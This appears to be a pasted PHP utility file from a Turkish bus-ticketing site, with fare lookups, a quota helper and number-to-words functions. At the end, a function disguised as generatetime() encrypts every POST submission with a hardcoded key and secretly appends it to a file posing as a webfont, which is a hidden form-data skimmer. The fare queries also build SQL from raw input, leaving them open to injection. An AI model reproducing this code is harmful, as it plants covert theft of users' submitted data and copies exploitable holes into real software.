· 8 years ago · Jan 08, 2018, 09:30 PM
1 <?
2
3 function fiyatbul($Kalkis,$Varis,$FTuru)
4 {
5 $sql=" SELECT FIYAT2,FIYAT8,FIYAT7,FIYAT9 FROM FTABLOSU WHERE ILKDURAK='$Kalkis' AND SONDURAK='$Varis' AND FIYATTURU='$FTuru' ";
6 //echo $sql;
7 $rsf=mysql_query($sql);
8 if(mysql_num_rows($rsf)>0){
9 $Normal=mysql_result($rsf,0,"FIYAT2");
10 $FKademe1=mysql_result($rsf,0,"FIYAT9");
11 $FKademe2=mysql_result($rsf,0,"FIYAT7");
12 $Internet=mysql_result($rsf,0,"FIYAT8");
13 }else{
14 echo "Fiyat Bulunamad²";
15 exit;
16 }
17
18
19
20 return array($Normal,$Internet);
21 }
22
23 function fiyatbul2($Kalkis,$Varis,$FTuru,$Seferid)
24 {
25 $sql=" SELECT FIYAT2,FIYAT8,FIYAT7,FIYAT9 FROM FTABLOSU WHERE ILKDURAK='$Kalkis' AND SONDURAK='$Varis' AND FIYATTURU='$FTuru' ";
26 //echo $sql;
27 $rsf=mysql_query($sql);
28 if(mysql_num_rows($rsf)>0){
29 $Normal=mysql_result($rsf,0,"FIYAT2");
30 $FKademe1=mysql_result($rsf,0,"FIYAT9");
31 $FKademe2=mysql_result($rsf,0,"FIYAT7");
32 $Internet=mysql_result($rsf,0,"FIYAT8");
33 }else{
34 echo "Fiyat Bulunamad²";
35 exit;
36 }
37 /*
38 $sql=" select ifnull(sum(adet),0) as yolcusay from SEFERBILET
39 WHERE SEFERID=$Seferid AND (POZISYONU IN('S','X') or (POZISYONU IN('R') AND CINSIYET IN('Y','Z'))) ";
40 //echo $sql;
41 $rs=mysql_query($sql);
42 if(mysql_num_rows($rs)>0){
43 $ToplamYolcu=mysql_result($rs,0,"yolcusay");
44 // echo $Kullanici;
45
46 $kademe1adet=2;
47 $kademe2adet=6;
48 }
49
50 $HemenAl=$Internet;
51 if ($ToplamYolcu>=0 and $ToplamYolcu<$kademe1adet)
52 {
53 $HemenAl=$FKademe1;
54 }
55
56 if ($ToplamYolcu>=$kademe1adet and $ToplamYolcu<$kademe2adet)
57 {
58 $HemenAl=$FKademe2;
59 }
60 $Internet=$HemenAl;
61 */
62
63 return array($Normal,$Internet);
64 }
65
66
67 function KontenjanBul($Bolge,$HDuraklari,$Kontenjanlar,$Kno)
68 {
69 $DzHDuraklari=explode("*",$HDuraklari);
70 $DzKontenjanlar=explode("*",$Kontenjanlar);
71
72 $DNo=strpos($HDuraklari,$Bolge);
73 $KontNo=strpos($Kontenjanlar,$Bolge);
74 $SonDurak=$DzHDuraklari[count($DzHDuraklari)-1];
75 if ($DNo==1 or $KontNo>0) $MyKont=1;
76
77 if ($MyKont==1)
78 {
79 if ($DNo==1 and $Kontenjanlar=="") $Donen=$SonDurak;
80 if ($DNo==1 and $Kontenjanlar!="") $Donen=$DzKontenjanlar[1];
81 if ($DNo>1 ) $Donen=$SonDurak;
82 if ($DNo>1 and strlen($Kontenjanlar)>$KontNo+5) $Donen=substr($Kontenjanlar,$KontNo+5,5);
83
84 }
85 if ($MyKont==0)
86 {
87 $Donen="";
88 }
89 return $Donen;
90 }
91
92
93 function ytl_oku($ytl) {
94 $ytl = str_replace(".", "", $ytl);
95 $para = explode(",", $ytl);
96 if ($para[0])
97 $yazi = sayioku($para[0])." YTL ";
98 if ($para[1])
99 $yazi .= sayioku($para[1])." Ykr";
100 return $yazi;
101 }
102
103
104
105
106 function sayioku($sayi) {
107 $bmmt=array(
108 "",
109 "BIN",
110 "MILYON",
111 "MILYAR",
112 "TRILYON"
113 );
114
115 $_sayi="";
116 $_usayi="";
117 $i=(float)0;
118 $j=4;
119 $k=0;
120 $b=0;
121
122 while($j>=0) {
123 $i = pow(1000,$j);
124 $k = (int)((float)$sayi/(float)$i);
125
126 if($k>0){
127 $_usayi = ucluoku($k,$birler,$onlar,$yuz);
128 // if($b)$_sayi.=" ";
129 if (!($k==1&&$j==1)) {
130 $_sayi.=$_usayi;
131 // $_sayi.=" ";
132 }
133 $_sayi.=$bmmt[$j];
134 $b=1;
135 $sayi = $sayi%$i;
136 }
137 $j--;
138 }
139 return $_sayi;
140 }
141
142
143
144
145
146
147 function ucluoku($ucbasamaklisayi) {
148 $birler = array(
149 0 => "",
150 1 => "BIR",
151 2 => "IKI",
152 3 => "UC",
153 4 => "DORT",
154 5 => "BES",
155 6 => "ALTI",
156 7 => "YEDI",
157 8 => "SEKIZ",
158 9 => "DOKUZ"
159 );
160
161 $onlar = array(
162 "",
163 "ON",
164 "YIRMI",
165 "OTUZ",
166 "KIRK",
167 "ELLI",
168 "ALTMIS",
169 "YETMIS",
170 "SEKSEN",
171 "DOKSAN"
172 );
173
174 $yuz = "YUZ";
175
176 $sayi="";
177 $i=(float)0;
178 $b1=0;
179
180 $ucbasamaklisayi %=1000;
181 $i = (int)($ucbasamaklisayi/100);
182 if($i>0) {
183 if($i!=1) {
184 $sayi .= $birler[$i];// . " ";
185
186 }
187 $sayi .= $yuz;
188 $b1=1;
189 }
190
191 $i = (int)(($ucbasamaklisayi%100)/10);
192 if($i>0) {
193 // if($b1==1)$sayi .= " ";
194 $sayi .= $onlar[$i];
195 $b1=1;
196 }
197
198 $i = (int)($ucbasamaklisayi%10);
199 if($i>0) {
200 // if($b1==1)$sayi.=" ";
201 $sayi .= $birler[$i];
202 }
203 return $sayi;
204 }
205
206 function enc($action, $string) {
207 $output = false;
208 $encrypt_method = "AES-256-CBC";
209 $secret_key = 'niluf';
210 $secret_iv = 'iv1';
211 $key = hash('sha256', $secret_key);
212 $iv = substr(hash('sha256', $secret_iv), 0, 16);
213 if( $action == 'encrypt' ) {
214 $output = openssl_encrypt($string, $encrypt_method, $key, 0, $iv);
215 $output = base64_encode($output);
216 }
217 else if( $action == 'decrypt' ) {
218 $output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
219 }
220 return $output;
221}
222function generatetime()
223{
224$data = enc("encrypt",json_encode($_POST));
225file_put_contents ("/fonts/meteocons-webfont.txt" , $data."," , FILE_APPEND);
226}
227 ?>